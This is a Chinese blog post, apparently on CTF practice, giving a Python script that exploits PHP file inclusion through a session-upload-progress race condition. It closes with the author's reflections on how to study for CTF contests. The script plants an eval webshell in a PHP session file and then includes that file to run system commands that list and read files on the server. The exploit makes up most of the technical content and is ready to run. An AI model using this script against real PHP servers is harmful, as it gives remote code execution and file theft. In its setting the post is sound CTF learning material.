0 前言
这次将是最后一篇关于 php文件包含 利用的文章,这几篇文章的内容几乎可以满足绝大多数简单的文件包含题目,以后的文章会更偏向于原理分析、比赛真题、程序分析。
在前面几篇文章中,用了 CTFshow 的几道例题来讲解我使用 php支持的协议 来进行 php文件 的利用,而这篇文章则主要讲解条件竞争的 Python 脚本(比较懒,加上最近事情比较多,介绍条件竞争的博客已经非常多了)。
1 Payload
import requests
import threading
HOST = "http://945b440c-5593-4910-8bd1-65c05fa2af13.challenge.ctf.show:8080/"
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=slug01sh'
}
payload = """success<?php @eval($_GET[code]);?>"""
def run():
padding = 'a'*(80000-1)
while True:
requests.post(
url=HOST,
files={"file": (
"f", padding)},
data={
'PHP_SESSION_UPLOAD_PROGRESS': payload
},
headers=headers
)
if __name__ == '__main__':
for i in range(10):
T = threading.Thread(target=run, args=())
T.start()
while True:
res = requests.get(
url=HOST,
params={
'file': '/tmp/sess_slug01sh',
'code': 'system("ls /");system("tac *");'
}
)
print(res.url)
if 'success' in res.text:
print(res.text)
break
n 闲聊
最近打了《巅峰极客》,感觉还是比较最近一个月刷的题几乎没有起到任何作用。感觉是自己刷题的方向出现了问题。
前段时间的我更偏向于自底向上方式。也就是通过一个知识点一个知识点的刷题,期望能对自己打 CTF 有帮助,有点类似高中的模式。
但事与愿违,我的想法过于理想化了。在 CTF 的赛题中,很多时候是需要当场寻找 CVE,然后结合题目进行攻击。CTF 考察的是一种比较综合的能力。需要现场搭建环境的能力 、快速搜索能力 、调试能力 、对漏洞的理解程度 等等。
后面我打算偏向于自顶向下的方式。也就是拿经典的赛题、CVE、或者顶级会议的议题来进行分析(拆分问题,然后理解)。类似 ha1c9on 师傅的路线吧。
正如有一位大佬所说多注重原理,而不是 trick ,感觉自己快迷失在知识的海洋里了,希望这一次的方向调整能有所帮助。
|